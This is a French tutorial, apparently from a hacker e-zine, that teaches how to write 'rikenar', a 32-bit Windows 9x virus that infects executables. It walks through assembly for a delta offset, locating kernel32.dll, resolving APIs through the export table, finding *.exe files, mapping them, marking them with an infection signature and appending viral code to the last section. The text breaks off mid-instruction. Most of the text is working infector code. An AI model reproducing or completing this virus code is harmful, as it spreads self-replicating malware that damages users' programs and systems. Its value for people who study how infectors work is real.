-------------------------------------------------------------------------------- Infecteur d'exe 32 bits sous win 9x: rikenar -------------------------------------------------------------------------------- Note: J'ai effectué la programmation de cette infecteur sous windows 98, il y fonctionne donc correctement. En revanche Emper0r l'a testé sur win2k, et apparemment l'infection faisait planter le programme, sur win nt et xp, ca doit etre pareil. Et je n'ai pas pu essayer de trouver l'erreur du fait que je n'ai que win98 :(. Donc désolé qu'il ne fonctionne pas de partout et si jamais qqun trouvait ce qui pouvait faire planter l'infection, je vous remercie d'avance si vous pouvez me mailer pour que j'effectue la modification. Voilà, c'est fini pour cette note. Et bonne lecture. [Sommaire]: I/ Introduction II/ Programmation A/ Le delta offset B/ Recherche de kernel32.dll en mémoire C/ Scan des apis D/ Recherche des fichiers E/ Le mapping F/ Infection III/ Code source IV/ Conclusion I/ Introduction ________________ Salut à tous, me voici pour mon premier article pour ioc, je vais donc essayer de faire un truc de pas trop mauvais. Tout au long de cet article, je vais parler et essayer d'expliquer le plus possible comment peut fonctionner un infecteur de fichier win32. Comme je l'ai déjà dit, tout ce qui sera vu ici ne sera pas quelquechose qui n'a jamais été vu, ce tut s'adresse donc plus particulièrement à tous ceux qui sont un peu comme moi et qui débute dans le monde des infecteurs en général et sous windows plus particulièrement. Pour pouvoir comprendre tout ce qui va suivre, je vous conseille d'avoir quelques bases en assembleur win32 et sur le fonctionnement des apis sous windows, pour le reste je vais essayé de détailler le plus possible. Aussi comme je l'ai déjà dit dans mon premier article sur les infecteurs 16 bits, si vous lisez ce tut dans l'espoir de planter les ordis de qqun, vous pouvez vite vous barrer et allez rejoindre tous ceux qui ne lisent pas ces lignes dans l'unique but d'apprendre. Fini de parler, on va passer à la programmation de notre bébé :). II/ Programmation ________________ On peut dire que la programmation de virii win32 est complètement différente de celle de virii 16 bits, malgrè tout si vous avez bien compris ce dernier, je pense que ce que nous allons faire ne vous posera pas de difficulté. Je vais en premier expliquer le principe général de la programmation d'un virus sous windows. Car ici, il n'y a plus d'interruptions pour nous aider, on va uniquement utiliser les apis windows. Le première chose que nous allons faire est d'essayer de chopper l'adresse en mémoire de toutes les apis qui vont nous intéresser, ce qui rendra notre infecteur un maximum portable d'une machine à une autre, on aurait pu importer toutes les apis nécessaires mais alors ce serait poser un petit problème. En effet, quant on importe les apis pour un programme, par exemple l'api MessageBoxA, quant on fera un petit call MessageBoxA, voilà ce qui se passera : - l'api étant importé, le programme va aller effectuer un call à l'adresse de l'Import Table du programme où est stocké l'adresse de notre api. - Ensuite, le programme effectue un simple jmp Addr_MessageBoxA Comme vous pouvez le voir, on a pas un call Addr_MessageBoxA directement. Il est là le problème, si le programme que l'on veut infecter n'importe pas l'api que l'on veut utiliser dans notre code, beh on va avoir droit à un jolie plantage. La solution consiste donc à cherche l'adresse brute en mémoire de toutes les apis, au moins, après, on aura plus de problème. Ensuite dès que on aura toutes les adresses de nos apis, on aura plus qu'à modifier certains champs de l'header du fichier et pour terminer on écrira le code de notre virus à la fin du fichier à infecter. Et voilà, après tout ça, on pourra dire que notre code aura bien réaliser ce que l'on voulait. On va donc passer tout de suite à ce qui nous intéresse, c'est à dire à la recherche de la dll kernel32 et donc de nos apis. Avant toute chose, je vais expliquer 2 termes qui vont être utilisé tout au long de l'article : - Adresse virtuelle : C'est l'adresse par exemple d'une api mais en mémoire, par exemple, chez moi l'adresse virtuel de l'api GetProcAdress est bff76dac. - Adresse virtuelle relative : Là c'est différent, l'adresse virtuel relative est le décalage de quelquechose par rapport à une autre chose. Cette façon de faire simplifie pas mal de chose et permet de ne pas se soucier de la localisation de notre fichier. Par avoir l'adresse virtuelle, il suffira d'ajouter l'adresse de base de notre fichier à l'adresse relative. Par exemple, chez moi l'adresse de base de kernel32.dll est bff70000, et l'adresse relative de l'api GetProcAdress est 06dac, on peut ainsi avoir l'adresse virtuelle de l'api GetProcAdress en faisant simplement : Adresse de base + Adresse virtuel relative = Adresse virtuel . bff7000 + 6dac == bff76dac A/ Le delta offset __________________ Si vous avez dèjà vu la programmation de virus, cela va vous paraitre familier et vous pouvez sautez cette partie. Sinon pour les autres je vais expliqué ce que c'est. Notre infecteur va se copier à la fin d'un fichier, étant donné que l'on enregistre toutes nos données dans la section .code à une adresse précise, lorsque l'on va vouloir y avoir accés dans le fichier infecté, toutes ce que on a enregistrer le sera à une adresse décalé. Il va donc falloir que l'on détermine ce décalage précisemment pour que notre code puisse fonctionner, si on ne le fait pas, tous va être décalé et la programme va planter. Voici un petit shéma qui devrait bien vous aider : FICHIER APRES INFECTION : +--------------------+ | | | | | Code | | d'origine | -->> Décalage | | | | +--------------------+ | | | Code de | | l'infecteur | +--------------------+ ------------------------------- call delta ; call delta -> push l'adresse de retour. delta: pop ebp ; on pop, on a donc ebp = adresse de delta. sub ebp, offset delta ; on soustrait à ebp l'adresse du call delta ; d'origine. ; ebp -> décalage. ------------------------------- Lorsque l'on exécute le fichier d'origine, le décalage est logiquement de 0. On aura donc accès au call de cette façon : call [ebp+fonction], au lieu de normalement call [fonction]. B/ Recherche de kernel32.dll en mémoire _______________________________________ Alors pourquoi va-t-on chercher cet dll en mémoire et pas une autre? Beh tout simplement parce que cette dll exporte une api qui va bien nous aider: GetProcAdress, en effet après l'avoir trouvé, on pourra chercher l'adresse de n'importe quelles apis que on lui aura passer en argument. Tout sera donc beaucoup plus simplifié. La première étape va donc être de trouver l'adresse de kernel32.dll. Si vous codez un petit programme en assembleur et que vous placez un ret sans qu'il y est eu de call préalablement, vous constaterez que cela termine l'execution du programme, cela implique donc qu'il y est avant un call. Et quel est donc ce call, c'est celui de l'api CreateProcessA, et on a de la chance car cet api est exporté par kernel32.dll. Aussi, il faut savoir que lorsque un call est exécuté, celui ci place sur la pile la valeur de retour. Donc en faisant un: mov eax, [esp] On va avoir dans eax une valeur qui sera voisine de celle du début de kernel32.dll, on ne devra plus qu'ensuite chercher le début de cette dll. On sait aussi que la structure de l'header d'une dll est très voisine de celle d'un exe, ce qui veut donc dire que le début de notre dll en mémoire sera caractérisé par un 'MZ', on va donc incrémenter l'adresse jusqu'à tomber sur cette chaine de caractères, ce qui nous indiquera bien que l'on se trouvera dans le dll que l'on recherche. Je vais vite faire un petit rappel sur les and: And | 0 | 1 | ----------------- 0 | 0 | 0 | ----------------- 1 | 0 | 1 | Donc un and avec au moins l'une des 2 opérandes à 0 donnera toujours 0. Un and avec comme opérande 0ffff0000h mettra donc à 0 les 4 derniers chiffres (ceux qui sont à droites). Or on sait que kernel32.dll est toujours aligné sur 64k, le fait de faire un and 0ffff0000h nous permettra donc de récupérer un multiple de 64kilo. ------------------------------- mov eax, [esp] ; on récupère une adresse voisine de kernel32.dll call delta delta: ; on calcule le delta offset pop ebp sub ebp, offset delta and eax, 0ffff0000h ; eax devient un multiple de 64k inc eax ; eax = eax + 1 loop: dec eax ; on décremente cmp word ptr [eax],'ZM' ; on compare avec le début la dll jnz loop ; si différent, on recommence la boucle mov ecx, eax ; sinon, on mets dans ecx l'adresse de ; kernel32.dll ------------------------------- On a donc maintenant eax et ecx qui pointent sur le MZ header, maintenant il va falloir trouver l'adresse en mémoire du PE header. Je vais expliquer le minimum pour que vous compreniez, c'est pour ça que je vous conseille d'aller un peu chercher des infos, j'ai vu quelquechose de pasmal sur le dernier rtc disponible sur madchat, sinon vous pouvez vous aider de la doc de Christal sur le Pe header. Pour nous, le MZ header ce n'est pas très important, c'est pour cela que l'on va Chercher l'adresse du PE header. Et comme on a bien de la chance, à l'offset du MZ header + 3ch se trouve justement le déplacement relatif qu'il y a de ce dernier jusqu'à ce que l'on cherche, c'est à dire le PE header. ------------------------------- mov ecx, [ecx + 3ch] ; on mets dans ecx, le déplacement relatif ; pour aller au Pe header. add ecx, eax ; Puis on ajoute l'adresse de base de kernel32. cmp word ptr [ecx], 'EP' ; On vérifie qu'on est au bon endroit. jnz loop ; sinon on recommence mov [ebp+APe],ecx ; Ape = adresse du Pe header de kernel32.dll mov [ebp+Akernel],eax ; Akernel = adresse de kernel32.dll ------------------------------- Voilà, on a donc bien maintenant trouvé l'adresse en mémoire de kernel32.dll et de son PE header, désormais on peut passer à la recherche de l'api GetProcAdress et des autres. C/ Scan des apis: _________________ Le scan des apis consiste à aller chercher l'adresse en mémoire de toutes les apis qui vont nous être utile pour le fonctionnement de notre virus. Dans l'header de kernel32.dll, à l'offset du Pe header + 78h se trouve l'adresse de l'export table où sont stocké des informations sur toutes les dll qui sont exportés. ------------------------------- mov edx, ecx ; edx contient désormais le Pe header mov edx, [edx + 78h] ; On choppe l'adresse relative de l'Export Table add edx, eax ; et on ajoute l'adresse de kernel32.dll ------------------------------- Maintenant, edx pointe donc sur l' Export Table, et justement cette Export Table contient des informations intéressantes qui sont: - la table des adresses des fonctions exportés qui contient les adresses relatives de ces fonctions. - la table des adresses des noms des fonctions exportés. - la table des ordinals qui contient la position de l' adresse de la fonction que l'on recherche dans la table des adresses. On va donc sauvegarder tout ça pour pouvoir les utilisés ensuite. ------------------------------- mov ebx, [edx + 1ch] add ebx, eax mov [ebp+Afonction], ebx ; On sauve la table des adresses. mov ebx, [edx + 20h] add ebx, eax mov [ebp+Namefunc], ebx ; puis la table des noms mov ebx, [edx + 24h] add ebx, eax mov [ebp+Aordinal], ebx ; et la table des ordinals. ------------------------------- Pour pouvoir chopper l'adresse de l'api GetProcAdress, il va falloir que l'on parcoure la table des noms à la recherche de la chaine de caractère "GetProcAdress". En effet dans cette table est contenue le nom de toutes les apis exportés par la dll. Et à partir du moment où l'on connait la position de cette chaine de caractère dans la table des noms, on va pouvoir déterminer l'adresse de la fonction exportée. Voici un petit shéma qui résume ce qui se passe chez moi: Position Table des noms Table des ordinals Table des adresses Index (Dword) (Word) (Dword) 1 AddAtomA .. ... 1 2 AddAtomW .. ... .. 3 AllocConsole .. ... .. .. ..... .. +--- 00006dac <<-- 688 = 12a*4 .. ..... .. | ... .. 12A GetProcAdress ----> 1A2h --------+ ... .. .. ..... .. ... .. Voici l'algo our trouver l'ordinal qui correspond: (Position * 2) + Adresse de la table des ordinals = Ordinals. Pour mon exemple ca donne: ( 12Ah * 2 ) + bffc1b00 = bffc1d54. On sait donc que à l'adresse bffc1d54 pointe désormais l'ordinal que nous cherchions, chez moi ca donne ordinal = 01A2h. Un ordinal est un Word ( 2 bytes), ce qui explique que l'on doive multilplier la Position par 2 et que l'ordinal trouvé soit aussi un word. Maintenant, il nous reste à trouver l'adresse par l'algo suivant: (Ordinal * 4) + Adresse de la table des adresses = Adresse relative de GetProcAddress. La table des adresses des fonctions exportés nous donnera l'adresse sous forme de Dword ( 4 bytes) donc il faut multiplier par 4. Ce qui donne: ( 1a2h * 4 ) + bffc01d8 = bffc0860. Donc à l'adresse bffc0860 pointe donc l'adresse relative de l' api GetProcAdress, ce qui donne 00006dac, pour avoir l'adresse réelle, il nous suffit d'ajouter l'adresse de base de kernel32.dll, ce qui fait: 00006dac + bff70000 = bff76dac. Voilà, on a donc réussi à avoir l'adresse de l'api GetProcAdress, vous verrez ca va pas mal nous aider pour la suite. ------------------------------- mov edx, eax ; on mets dans edx l'adresse de base de ; kernel32.dll. mov esi,[ebp+Namefunc] ; esi pointe sur la table des noms. xor ecx, ecx ; ecx = 0. go: lodsd ; charge le contenu de eax avec ce qui se trouve ; en esi. add eax,edx ; on ajoute l'adresse de base de la dll. mov edi,eax ; edx <-> eax, edi pointe maintenant sur la ; table des noms push esi lea esi,[ebp+NGetProcAdress] ; esi pointe sur la chaine "GetProcAddress" comp: cmpsb ; on compare esi et edi et on les incrémente. jne next ; si différent on recommence cmp byte ptr [edi], 0 ; sinon teste si on est à la fin de la chaine. je good ; c'est bon, on l'a. jmp comp ; non on teste le prochain caractère. next: pop esi ; esi pointe sur la table des noms. inc ecx ; ecx = ecx + 1. jmp go ; on y retourne. good: ; now ecx = la position de la chaine ; "GetProcAdress" dans la table des noms. shl ecx, 1 ; ecx = ecx * 2. add ecx, [ebp+Aordinal] ; on ajoute l'adresse de la table des ordinals. xor eax, eax ; eax = 0. mov ax, word ptr [ecx] ; on mets l'ordinal qui est pointé par ecx dans ; ax (Word). shl eax, 2 ; eax = eax * 4. add eax, [ebp+Afonction] ; on ajoute l'adresse de la table des adresses ; des fctions. mov ebx, [eax] ; edx = adresse virtuel de GetProcAdress. add ebx, edx ; on ajoute l'adresse de kernel32.dll. mov [ebp+AGetProcAdress], ebx ; ca y est, on a l'adresse réel de GetProcAdress. ------------------------------- Bon maintenant, il ne nous reste plus qu'à rechercher toutes les autres apis qui vont nous servir à partir de GetProcAdress qui a pour syntaxe pour fonctionner: GetProcAdress( HMODULE hmodule, // handle to DLL module LPCSTR lpProcName // name of function ); En fait, hmodule va contenir l'adresse de la dll dans laquelle l' api est exporté et lpProcName va contenir le nom de la fonction que l'on recherche. En assembleur, ca donne ça lea esi, [ebp+Apis1] push esi ; nom de la fonction recherché GetModuleHandleA. push [ebp+Akernel] ; adresse de kernel32.dll call [ebp+AGetProcAdress] ; call GetProcAdress Apis1 db "GetModuleHandleA",0 Et on aura en retour de la fonction dans eax, l'adresse de l' api recherchée. Bon je vous donne direct le code et je le commente: ------------------------------- lea edi, [ebp+AGetModuleHandle] ; edi pointe sur l'endroit où l'on va stocker l' lea esi, [ebp+NGetModuleHandle] ; adresse de la 1ere api à chercher et esi pointe sur ; le nom de la 1ere api à chercher. search: push esi ; on push le nom de l' api à chercher push [ebp+Akernel] ; on push l'adresse de kernel32.dll call [ebp+AGetProcAdress] mov [edi], eax ; charge le contenu de eax dans ce qui est pointé par add edi, 4 ; edi, on sauve donc l'adresse de l'api que l'on ; cherche et on ajoute 4 à edi pour pouvoir sauvegar- ; der la prochaine adresse à calculé. next_api: inc esi ; on incrémente esi cmp byte ptr [esi], 0 ; on regarde si on est à la fin de la chaine. jne next_api ; si non, on reteste inc esi ; si oui, on incrémente esi cmp byte ptr [esi], 0cch ; on regarde si on est arrivé à la fin des fonctions jne search ; à recherché. Si non on recommence. NGetProcAdress db "GetProcAddress",0 NGetModuleHandle db "GetModuleHandleA",0 NExitProcess db "ExitProcess",0 NFindFirstFile db 'FindFirstFileA',0 NFindNextFile db 'FindNextFileA',0 NCreateFileA db "CreateFileA",0 NCreateFileMappingA db "CreateFileMappingA",0 NMapViewOfFile db "MapViewOfFile",0 NunMapViewOfFile db "UnmapViewOfFile",0 NCloseHandle db "CloseHandle",0 db 0cch AGetProcAdress dd 0 AGetModuleHandle dd 0 AExitProcess dd 0 AFindFirstFile dd 0 AFindNextFile dd 0 ACreateFileA dd 0 ACreateFileMappingA dd 0 AMapViewOfFile dd 0 AunMapViewOfFile dd 0 ACloseHandle dd 0 ------------------------------- Tous les noms des apis qu'il y a ci-dessus, c'est ce qui va nous servir pour pouvoir faire fonctionner notre infecteur win32. J'expliquerai tous cela plus en détail plus loin. Il ne nous reste plus qu'à chopper l'adresse de user32.dll pour pouvoir justement trouver celle de l'api MessageBoxA, elle va nous servir un peu plus tard. Pour trouver l'adresse de n'importe quelle dll, il faut utilisé la fonction GetModuleHandleA qui a pour syntaxe: GetModuleHandleA( LPCTSTR lpModuleName // address of module name to return handle for ); ------------------------------- lea eax, [ebp+Nuser] ; eax pointe sur le nom de la dll (User32.dll) push eax ; on le push call [ebp+AGetModuleHandle] mov [ebp+Auser], eax ; en retour de l'api, eax = l'adresse de User32.dll lea edi, [ebp+NMessageBox] push edi ; on push le nom de l'api à chercher l'adresse push [ebp+Auser] ; on push l'adresse de la dll qui exporte l'api, ici call [ebp+AGetProcAdress] ; User32.dll mov [ebp+AMessageBox], eax ; et en retour, on a dans eax l'adresse de MessageBoxA. Nuser db "User32.dll" Auser dd 0 NMessageBox db "MessageBoxA",0 AMessageBox dd 0 ------------------------------- Ouf !! Ca y est, on a terminé avec le scan des apis, on va pouvoir enfin passer à la véritable programmation de notre virus. Vous voyez donc que l'on a besoin de pas mal d'apis pour faire fonctionner notre virus correctement. On va de suite enchainer directement avec la recherche des fichiers à infecter. D/ Recherche des fichiers: Ici, les apis que l'on va utiliser sont FindFirstFileA et FindNextFileA, la première va lire la première entrée du répertoire et la deuxième va lire les suivantes, ces 2 apis sont l'équiva- lent des fonctions 4eh et 4fh sous dos. Et voici comment fonctionne ces 2 fonctions: FindFirstFileA( LPCTSTR lpFileName, // pointer to name of file to search for LPWIN32_FIND_DATA lpFindFileData // pointer to returned information ); Pour nous, lpFileName va pointer sur une chaine de caractère qui va nous permettre de cibler notre recherche de fichier dans le repertoire. Pour nous ce sera: *.exe. Je vais expliquer le 2eme argument un peu plus en dessous. FindNextFileA( HANDLE hFindFile, // handle to search LPWIN32_FIND_DATA lpFindFileData // pointer to structure for data on found file ); hFindFile est l'handle que la fonction FindFirstFileA nous a donné en retour de son exécution et le 2eme argument est un pointeur sur une structure qui va être remplie en retour et qui va contenir toutes les informations qui vont nous intéresser dont le nom de notre fichier à infecter. WFD label byte WFD_dwFileAttributes dd ? ; attribut du fichier trouvé. WFD_ftCreationTime dd ? ; date de création du fichier. dd ? WFD_ftLastAccessTime dd ? ; date de dernier accès au fichier. dd ? WFD_ftLastWriteTime dd ? ; date de la dernière écriture sur le fichier. dd ? WFD_nFileSizeHigh dd ? ; donne la partie haute de la taille du fichier. WFD_nFileSizeLow dd ? ; et la partie basse (en bytes)-> Intéressant WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260 dup (?) ; nom du fichier à infecter -> Intéressant aussi. WFD_szAlternateFileName db 13 dup (?) ; nom dos du fichier. db 03 dup (?) ; bourrage pour remplir la structure. ------------------------------- lea esi,[ebp+WFD] ; on charge notre structure qui recevra les informations. lea eax,[ebp+exe_mask] ; notre mask -> *.exe. push esi ; on push les arguments. push eax call [ebp+AFindFirstFile] ; on cherche la 1ere entrée du répertoire. cmp eax, 0ffffffffh ; on vérifie si il n'y a pas d'erreur, si eax = -1, une je exit ; erreur s'est produite donc on se casse. mov [ebp+FirstHandle],eax ; sinon on sauve le handle renvoyé. re: ...... ; omis pour l'instant. ...... call mapping ; on mappe le fichier. call infection ; on l'infecte -> on verra ces 2 trucs plus tard. second: lea edi,[ebp+WFD] ; toujours pour la structure. push edi push [ebp+FirstHandle] ; on push le 1er handle renvoyé. call [ebp+AFindNextFile] ; on cherche un autre fichier. test eax, eax ; on test si eax = 0, ce qui voudrait dire que tous les jnz re ; fichiers du réperoire ont été trouvé, si ce n'est pas ; le cas, alors on mappe et on infecte. exe_mask db "*.exe",0 ------------------------------- Youpi, maintenant on sait quel fichier infecter, comme vous pouvez le voir, pour l'instant ce n'est pas extremement compliqué. Maintenant on va pouvoir passer au mapping. E/ Le mapping Voilà, on est parti pour le mapping, je peux vous dire que ça va bien nous servir et ca va bien nous simplifier la vie en ce qui concerne l'écriture du virus et la modification des différents champs du Pe header. Beh en fait le mapping consiste à mapper un fichier (ca vous devez l'avoir compris), ce qui va nous permettre de le modifier et ce directement en mémoire et dès que l'on démappera le fichier, tous les modifications que l'on aura effectué en mémoire l'auront été aussi sur le disque, voilà donc à quoi ca sert. Tout cela va pouvoir se faire grâce au apis : - CreateFileA qui va nous permettre de récupérer l'handle du fichier à mapper. - CreateFileMappingA qui va nous préparer le mapping de notre fichier à mapper et qui va nous renvoyer un handle nécessaire pour l'api ci dessous. - MapViewOfFile qui va crée la copie en mémoire de notre fichier et qui va nous renvoyé en retour l'adresse mémoire de l'image crée. - unMapViewOfFile qui démappe le fichier précédemment copié en mémoire. - CloseHandle qui va fermer le fichier que l'on voulait modifier. Il y a donc 5 apis intéressant pour nous, voici donc vite fait la description de ces 5 apis. HANDLE CreateFile( LPCTSTR lpFileName, // pointer to name of the file DWORD dwDesiredAccess, // access (read-write) mode DWORD dwShareMode, // share mode LPSECURITY_ATTRIBUTES lpSecurityAttributes, // pointer to security attributes DWORD dwCreationDisposition, // how to create DWORD dwFlagsAndAttributes, // file attributes HANDLE hTemplateFile // handle to file with attributes to copy ); Il n'y a que 4 arguments qui vont nous être utile avec cette fonction: - dwCreationDisposition -> qui doit spécifier si le fichier existe ou pas, si il faut le créer etc... En C, on remplirai ce champs par OPEN_EXISTING qui voudrait dire que l'on veut ouvrir un fichier qui existe déjà, ce qui est notre cas. Si l'on regarde un peu dans dans les fichiers qu'inclut visual c++ pour moi, faut voir dans winbase.h, on a cette ligne : #define OPEN_EXISTING 3 On en conclut donc que pour ce champs, le code se traduira par un push 3. - dwShareMode -> ce champs va permettre d'indiquer le partage du fichier, pour nous ce sera un push 1. - dwDesiredAccess -> spécifie le type d'accès, c'est à dire en écriture, en lecture ou les 2. Pour nous, ce sera les 2 ce qui fait que l'on utilisera un push 80000000h or 40000000h. - lpFileName ->ici rien de bien compliqué, ce champs contiendra le nom du fichier à ouvrir. Et en retour de cet api, c'est à dire en eax, on aura l'handle de notre fichier qui va nous servir par la suite. HANDLE CreateFileMapping( HANDLE hFile, // handle to file to map LPSECURITY_ATTRIBUTES lpFileMappingAttributes, // optional security attributes DWORD flProtect, // protection for mapping object DWORD dwMaximumSizeHigh, // high-order 32 bits of object size DWORD dwMaximumSizeLow, // low-order 32 bits of object size LPCTSTR lpName // name of file-mapping object ); Pour cette api, il y a 3 champs à remplir qui sont à détaillés: - dwMaximumSizeLow -> spécifie la taille maximum du fichier à mapper, ce champs sera renseigné par la structure que l'on aura rempli avec la fonction FindFirstFileA. - flProtect -> spécifie le mode d'accès à la zone de mémoire qu'y vient d'être créer, pour nous ce sera lecture et écriture, ce qui donne en asm: push 4. - hFile -> handle qui nous a été retourné par l'api CreateFile. Et comme toujours, on va recevoir en eax, un handle qui va être nécessaire pour la fonction qui va suivre. LPVOID MapViewOfFile( HANDLE hFileMappingObject, // file-mapping object to map into address space DWORD dwDesiredAccess, // access mode DWORD dwFileOffsetHigh, // high-order 32 bits of file offset DWORD dwFileOffsetLow, // low-order 32 bits of file offset DWORD dwNumberOfBytesToMap // number of bytes to map ); Je détaille toujours les champs qui nous sont utiles: - dwNumberOfBytesToMap -> toujours le nombre de bytes à mapper, ce sera la taille de notre fichier. - dwDesiredAccess -> spécifie le type d'accès du fichier que l'on mappe, pour nous ce sera encore en écriture et en lecture ce qui va donner un push 2. - hFileMappingObject -> handle renvoyé par l'api CreateFileMapping. Et maintenant c'est fini, du moins pour le mapping, en retour de cet api, on va avoir en eax l'adresse mémoire où sera l'image qui vient d'être crée. Pour finir les 2 autres apis: BOOL UnmapViewOfFile( LPCVOID lpBaseAddress // address where mapped view begins ); - lpBaseAddress -> adresse qui a été renvoyé en eax par MapViewOfFile. BOOL CloseHandle( HANDLE hObject // handle to object to close ); - hObject -> handle de l'objet à fermer. Ouf, on a fini, on va pouvoir passer au code commenté, vous remarquerez que je ne laisse que les lignes de code qui sont en rapport avec le mapping. ------------------------------- re: push 00h push 00h push 03h ; ouverture d'un fichier déjà existant. push 00h push 01h push 80000000h or 40000000h ; ouverture en lecture et en écriture. lea esi,[ebp+WFD_szFileName] ; nom du fichier à ouvrir push esi call [ebp+ACreateFileA] mov [ebp+Fhandle], eax ; au sauve l'handle qui nous est renvoyé. mov esi,[ebp+WFD_nFileSizeLow] ; en mets dans esi, la taille du fichier à mapper. call mapping ; on mappe. call infection .... .... mapping: push 00h push esi ; taille nécessaire pour le mapping. push 00h push 04h ; mode d'accès en lecture et en écriture. push 00h push [ebp+Fhandle] ; on push l'handle renvoyé par CreateFileA. call [ebp+ACreateFileMappingA] mov [ebp+Mhandle], eax ; on sauve encore. push esi ; encore la taille à mapper. push 00h push 00h push 02h ; permet la lecture et l'écriture de l'image qui va être push [ebp+Mhandle] ; crée. On push le handle renvoyé par CreateFileMappingA. call [ebp+AMapViewOfFile] mov [ebp+AddrMap], eax ; et on sauve l'adresse mémoire de l'image. ret ------------------------------- Ca y est, on en a fini pour ce qui est du mapping et on a enfin l'adresse de l'image qui vient d'être crée, on a donc désormais tout pour pouvoir commencé l'infection. Je vous le dit, on est presque à la fin maintenant, il ne nous reste plus qu'à modifier des champs de l'header et à écrire notre code à la fin du fichier. F/ Infection : Avant d'aborder l'infection en elle même, nous allons vérifier que l'on se trouve bien dans un fichier exe win32 qui possède bien un Pe header, on va aussi vérifier que l'on ne va pas s'écrire dans un fichier qui serait déjà infecté par notre virus. Mais avant toute chose, je vais préciser un peu quelquechose sur la taille que nous avons donné lorsque l'on voulait mapper le fichier, en effet nous avons pushé en argument de la fonction MapViewOfFile, la taille du fichier qui nous avait été renvoyé par l'api FindFirstFile, or nous nous voulons écrire notre code à la fin de ce fichier ce qui implique que la taille à mapper du fichier soit supérieure. Pour éviter d'augmenter inutilement la taille d'un fichier qui aura déjà été infecter, nous allons devoir effectuer 2 fois le mapping : - la 1ere fois, nous allons créer l'image avec la vrai taille du fichier qui nous a été renvoyé , puis nous allons regarder par l'intermédiaire de la signature que l'on aura écrite si le fichier est déjà infecté. Si c'est le cas, on quitte et on démappe. - Si ce n'est pas le cas, et que le fichier est sain, on démappe puis on remappe en prenant le soin d'ajouter la taille de notre infecteur, ce qui nous permettra de créer l'image en mémoire de notre fichier avec une taille supérieur et de pouvoir placer notre code à la fin sans aucun problème. ------------------------------- infection: mov esi,[eax+3Ch] ; esi = déplacement relatif vers le Pe header. add esi,eax ; on ajoute l'adresse de base renvoyé par MapViewOfFile. cmp dword ptr [esi],'EP' ; on regarde si on est bien au Pe header jnz demap ; sinon on démap et on se casse. cmp dword ptr [esi+4Ch],"EKIR" ; on regade si le fichier est déjà infecté. jz demap ; si oui, on démappe. mov ecx, [esi+38h] ; 38h = 18h + 20h. mov [ebp+Alignvirtual], ecx ; on sauve l'alignement de la section. mov ecx, [esi+3ch] ; 3ch = 18h + 24h. mov [ebp+Alignraw], ecx ; on sauve l'alignement du fichier. push [ebp+AddrMap] call [ebp+AunMapViewOfFile] ; on démappe. push [ebp+Mhandle] call [ebp+ACloseHandle] ; on ferme le fichier. mov ecx,[ebp+Alignraw] ; on mets dans ecx l'alignement du fichier. call align ; on aligne la nouvelle taille à mapper. xchg eax, esi ; esi est donc désormais la nouvelle taille. call mapping ; et on remappe en ajoutant la taille de notre virus. .... .... .... align: mov eax,[ebp+WFD_nFileSizeLow] ; eax = taille de notre fichier avant infection. add eax, offset fin - offset start ; on ajoute la taille de notre virus. xor edx, edx ; edx = 0. div ecx ; on divise par l'alignement. inc eax ; on incrémente eax. mul ecx ; on multiplie eax par ecx. ret demap: push [ebp+AddrMap] call [ebp+AunMapViewOfFile] push [ebp+Mhandle] call [ebp+ACloseHandle] push [ebp+Fhandle] call [ebp+ACloseHandle] jmp second ------------------------------- Normalement, vous avez du vous demander ce que c'est exactement cette alignement, bon je vais expliquer tout ça. Je vous conseille donc d'avoir à côté de vous un bonne documentation sur le Pe header, celle qui se trouve dans le rtc mag de Doxtor L. fera très bien l'affaire, sinon il existe celle de Christal. Mais bon, je vais quand même essayer de reprendre ce qu'il y a de plus important pour pouvoir comprendre. Nous ce qui nous intéresse dans ce cas précis, c'est le Pe header et l'entête optionnel, beh surtout cette dernière car elle contient beaucoup d'informations qui nous sont nécessaires. L'entête optionnel contient à l'offset 20h et 24h l'alignement de la section et l'alignement du fichier. L'alignement du fichier nous fait savoir que la taille de notre fichier sur le disque doit être un multiple de ce nombre, par exemple si on a comme alignement du fichier 200h, alors le taille de notre fichier sur le disque sera un multiple de ce nombre, ca pourrait donc être 200h, 400h, 1200h ou 2600h etc... Et c'est là que on doit faire attention car le fichier mapper lorque il sera démapper fera la taille que l'on aura donner en dernier argument de l'api MapViewOfFile, il faut donc que ce nombre soit un multiple de ce qui se trouve à l'offset 24h de l'entete optionnel. Le call align va donc nous permettre de réaliser cela, voici encore un exemple pour vous expliquer comment il fonctionne, on admet que notre fichier avant infection à une taille 12000h et que le virus fait 143h : mov ecx,[ebp+Alignraw] ; on mets dans ecx l'alignement, pour nous 200h mov eax,[ebp+WFD_nFileSizeLow] ; eax = 12000 donc eax est un multiple de 200h align: add eax, offset fin - offset start ; on ajoute la taille du virus, cad 143 dc eax = 12143h. xor edx, edx ; edx = 0. div ecx ; on divise par 200h donc en eax on a 90h. inc eax ; on incrémente eax donc eax = 91h. mul ecx ; on multiplie par 200h -> eax = 12200h. ret ; on a donc en eax maintenant la taille à mapper où l'on ; a ajouter la taille du virus et qui est bien un ; multiple de 200h. Bon, on en a fini avec tout ces trucs, on va pouvoir continuer. Le but de notre code est d'aller s'écrire dans un fichier à infecter. Sous windows, un fichier est composé d'une entete et de plusieurs sections, nous allons donc aller devoir s'écrire dans l'une d'elles, je pense qu'il doit être possible de copier notre code dans une nouvelle section que l'on viendra de créer. Pour nous, ce sera plus simple, on va tout bêtement aller s'écrire dans la dernière section du programme. Or chaque section a une entête spécifique, notre but pour l'instant est de trouver cette section header, voici comment est organisé le Pe header: +--------------------------+ | Pe header | --> Taille : 18h. | | +--------------------------+ | En tête | --> Taille : 60h. | optionnel | +--------------------------+ | En tête des | --> L'entête d'un répertoire a une taille de 8h. | répertoires | +--------------------------+ | En tête des | --> L'header d'une section a une taille de 28h. | sections | +--------------------------+ | ..... | | ..... | +--------------------------+ Nous, ce que nous voulons, c'est trouver l'adresse de l'header de la dernière section. Nous allons donc devoir ajouter à l'adresse du Pe header, la taille du Pe header, la taille de l'entete optionnel, la taille de la table des repertoires et la taille prise par les entetes de sections : - pour ce qui est de l'adresse du Pe header, nous avons déjà vu comment faire. - la taille de l'optionnal header est de 60h et la taille du Pe header est de 18h donc taille du Pe header + Optionnal header = 78h. - les réperoires nous permettent entre outre de connaitre l'adresse des fonctions importés et des fonctions exportés. Un reperoire a une taille de 8h sur le disque. Pour connaître la place prise par la table des réperoires, il nous suffit donc de multiplier le nb total de répertoires par 8. - l'header d'une section a elle une taille de 28h. Et à l'offset 6h du Pe header est justement contenu le nombre de section, en décrémentant ce nombre, on peut donc pointer sur l'header de la dernière section. ------------------------------- mov 